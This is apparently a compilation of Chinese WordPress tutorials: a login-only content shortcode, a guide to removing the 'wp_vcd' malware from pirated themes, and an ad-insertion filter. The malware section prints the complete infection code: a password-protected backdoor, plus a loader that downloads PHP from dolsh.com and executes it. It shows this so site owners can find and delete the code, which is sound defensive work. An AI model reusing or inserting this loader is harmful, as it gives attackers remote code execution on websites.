有些会员网站，会把会员内容掩藏起来，可以设置称恢复可见、输入密码可见，也可以设置成登录用户可见，那么部分内容登录可见的纯代码是什么呢？以前路兜博客分享过插件，不过6年没有更新了。
具体实现步骤如下：
1、将以下代码添加到Three主题的 functions.php 文件最后一个?>的前面。

//部分内容登录可见
function login_to_read($atts, $content=null) {
extract(shortcode_atts(array("notice" => '
温馨提示：此处内容需要登录后才能查看！
'), $atts));
if ( is_user_logged_in() && !is_null( $content ) && !is_feed() )
return $content;
return $notice;
}
add_shortcode('vip', 'login_to_read');

PS：将上面代码中的login.php替换为站点的登录地址，以方便用户快速登录。

2、在编辑文章的时候，只需要切换到文本模式，在需要隐藏的部分内容中前后加上短代码即可。


[vip]我是被隐藏的内容，样式一（默认样式）[/vip]


[vip notice=”登录后才显示哟”]我是被隐藏的内容，样式二（自定义回复信息）[/vip]


其中样式一的提示信息就是第一步中的“温馨提示：此处内容需要登录后才能查看！”，样式二的提示信息就是“登录后才显示哟”，具体选用哪个样式由大家自己决定了。


效果图如下：
登录前后效果图


至此，WordPress文章部分内容登录后可见功能已经在Three主题实现，其他主题的实现方法也是一样的。
PS：这个功能建议不要轻易开启，因为要注册登录后才可以看到，除非分享的文章或资源很吸引人，要不然很多人都会直接关闭走人的，切记。


PS：如想实现WordPress文章部分内容输入密码可见的，请移步《Three主题实现WordPress文章部分内容输入密码后可见》。

PS：如想实现WordPress文章部分内容评论/回复可见的，请移步《如何实现WordPress文章部分内容评论/回复后可见》。

前段时间，折腾主题，就在外国wordpress主题网站下载了一些需要收费的，免费主题，不料，感染了恶意代码，恶意代码就是一些广告，植入在你的主题：functions.php里开头部分，当访客访问你的网站，会弹窗出来一个广告页面跳转到这个网址：deloplen.com 起先我以为是插件的问题，中文搜索，并没有找到源头，于是就谷歌翻译，上外网找到了答案，深受其害的不止我一个人。

通常被感染的主题的functions.php安装如下代码：这个时候ctrl+f 搜索关键字：“ wp_vcd”或“ wp-tmp”删除掉这段代码，保存。

惡意代碼如下：

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
    {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action'])
        {
    case 'change_domain';
    if (isset($_REQUEST['newdomain']))
        {
        if (!empty($_REQUEST['newdomain']))
            {
            if ($file = @file_get_contents(__FILE__))
                {
                if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
                    {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                    }
                }
            }
        }

    break;

default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

die("");
}

if (!function_exists('theme_temp_setup'))
    {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
        {
        if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
            {
            function theme_temp_setup($phpCode)
                {
                $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                fclose($handle);
                include $tmpfname;

                unlink($tmpfname);
                return get_defined_vars();
                }

            extract(theme_temp_setup($tmpcontent));
            }
        }
    }

?>

如果你再刷新，这段代码仍在这里面，这说明，wordpress程序其他文件也被感染了，最好的方法就是：更新更新更新，点仪盘表更新，覆盖旧文件。

终极解决方案，亲测有效：无需进行大量此类更改，只需执行以下两个步骤>>

1>仪表板>更新>“立即重新安装”
这将重新安装WordPress的最新版本，覆盖受感染的wp核心文件。

2>现在，在编辑器中打开theme functions.php文件，并删除恶意代码段，（活动主题中，编辑您的functions.php文件，并删除恶意软件插入的所有其他代码。您可以搜索“ wp_vcd”或“ wp-tmp”字样以找到代码。然后单击保存。）

全部做完！这次它将接受文件更改，以从functions.php文件中删除受感染的代码。

有用的链接：https://stackoverflow.com/questions/46219263/php-code-in-functions-php-of-all-wordpress-websites-on-my-shared-hosting

检测主题是否有病毒的网站：知乎汇总

最后告诉大家，千万不要尝试去下载来路不明的主题了，谁知道里面被植入了什么病毒插件啥的。

其实很简单，跟直接在主题文件 single.php 里面添加差不多，不同的是这里说的方法是用 WordPress 自带的 add_filter 函数实现，直接在主题文件 functions.php 添加，也方便以后换主题时不用研究主题结构直接 CP 到新主题的 functions.php 即可。

那么下面啰嗦一下方法，虽然非常简单，但还是需要有一点基础知识，因为我遇到过连文本编辑器都不会用的朋友。

打开主题的 functions.php，插入以下代码：（注意要放在<?php … ?>里面）

function insertAD($content) {
	if(is_single()) {
		$html = '<p class="top-ad">广告代码/图片广告链接</p>';//文章开头广告
		$content = $html . $content;
		$content.= '<p class="bottom-ad">广告代码2/图片广告链接</p>';//文章结尾广告
	}
	return $content;
}
add_filter ('the_content', 'insertAD');

将文字部分改为广告代码或者图片链接即可！本文转载于：https://zww.me/archives/25167